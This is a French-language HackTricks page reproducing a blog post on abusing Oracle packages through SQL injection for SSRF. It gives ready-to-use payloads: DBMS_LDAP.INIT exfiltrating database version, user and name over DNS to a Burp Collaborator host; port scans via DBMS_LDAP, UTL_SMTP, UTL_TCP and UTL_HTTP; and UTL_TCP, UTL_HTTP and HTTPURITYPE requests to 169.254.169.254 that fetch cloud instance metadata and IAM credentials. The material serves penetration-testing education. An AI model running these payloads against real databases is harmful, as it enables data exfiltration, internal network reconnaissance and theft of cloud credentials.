11 KiB
Injection Oracle
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.
Servez ce post une copie de la machine wayback du post supprimé de https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté mais en tant que moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA.
Installer Oracle peut être vraiment douloureux, surtout si vous voulez configurer une instance rapide pour essayer des commandes. Mon ami et collègue chez Appsecco, Abhisek Datta, m'a dirigé vers https://github.com/MaksymBilenko/docker-oracle-12c qui m'a permis de configurer une instance sur une machine Ubuntu t2.large AWS et Docker.
J'ai exécuté la commande docker avec le drapeau --network="host"
afin de pouvoir imiter Oracle comme une installation native avec un accès réseau complet, pour la durée de cet article de blog.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Packages Oracle qui prennent en charge une spécification d'URL ou de numéro d'hôte/port
Afin de trouver des packages et des fonctions qui prennent en charge une spécification d'hôte et de port, j'ai effectué une recherche Google sur la Documentation en ligne de la base de données Oracle. Plus précisément,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
La recherche a renvoyé les résultats suivants (pas tous peuvent être utilisés pour effectuer un réseau sortant)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Cette recherche rudimentaire omet évidemment des packages comme DBMS_LDAP
(qui permet de passer un nom d'hôte et un numéro de port) car la page de documentation vous dirige simplement vers un emplacement différent. Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être abusés pour effectuer des requêtes sortantes que j'ai pu manquer.
Quoi qu'il en soit, examinons certains des packages que nous avons découverts et listés ci-dessus.
DBMS_LDAP.INIT
Le package DBMS_LDAP
permet l'accès aux données des serveurs LDAP. La fonction init()
initialise une session avec un serveur LDAP et prend un nom d'hôte et un numéro de port comme argument.
Cette fonction a été documentée auparavant pour montrer l'exfiltration de données via DNS, comme ci-dessous
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port comme arguments, vous pouvez l'utiliser pour fonctionner comme un scanner de ports également.
Voici quelques exemples
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
Un ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
indique que le port est fermé alors qu'une valeur de session indique que le port est ouvert.
UTL_SMTP
Le package UTL_SMTP
est conçu pour envoyer des e-mails via SMTP. L'exemple fourni sur le site de documentation Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail. Pour nous, cependant, l'aspect intéressant est la capacité de fournir une spécification d'hôte et de port.
Un exemple rudimentaire est montré ci-dessous avec la fonction UTL_SMTP.OPEN_CONNECTION
, avec un délai d'attente de 2 secondes.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
Un ORA-29276: timeout de transfert
indique que le port est ouvert mais qu'aucune connexion SMTP n'a été établie, tandis qu'un ORA-29278: erreur transitoire SMTP : 421 Service non disponible
indique que le port est fermé.
UTL_TCP
Le package UTL_TCP
et ses procédures et fonctions permettent la communication basée sur TCP/IP avec des services. S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accéder au réseau ou d'effectuer des requêtes côté serveur complètes, car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
L'exemple sur le site de documentation Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute afin de récupérer une page web. Nous pouvons le simplifier un peu plus et l'utiliser pour faire des requêtes à l'instance de métadonnées par exemple ou à un service TCP/IP arbitraire.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Intéressantement, en raison de la capacité à créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de méta-données de l'Instance de tous les fournisseurs de cloud, car le type de méthode et les en-têtes supplémentaires peuvent tous être passés dans la requête TCP.
UTL_HTTP et Requêtes Web
Peut-être la technique la plus courante et largement documentée dans chaque tutoriel Oracle SQL Injection Out of Band est le UTL_HTTP
package. Ce package est défini par la documentation comme - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Vous pourriez également utiliser cela pour effectuer un scan de ports rudimentaire avec des requêtes comme
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
Un ORA-12541: TNS:no listener
ou un TNS:operation timed out
est un signe que le port TCP est fermé, tandis qu'un ORA-29263: HTTP protocol error
ou des données sont un signe que le port est ouvert.
Un autre package que j'ai utilisé dans le passé avec un succès variable est la GETCLOB()
méthode du type abstrait HTTPURITYPE
d'Oracle qui vous permet d'interagir avec une URL et fournit un support pour le protocole HTTP. La méthode GETCLOB()
est utilisée pour récupérer la réponse GET d'une URL sous forme de type de données CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{% hint style="success" %}
Apprenez & pratiquez le hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez le hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.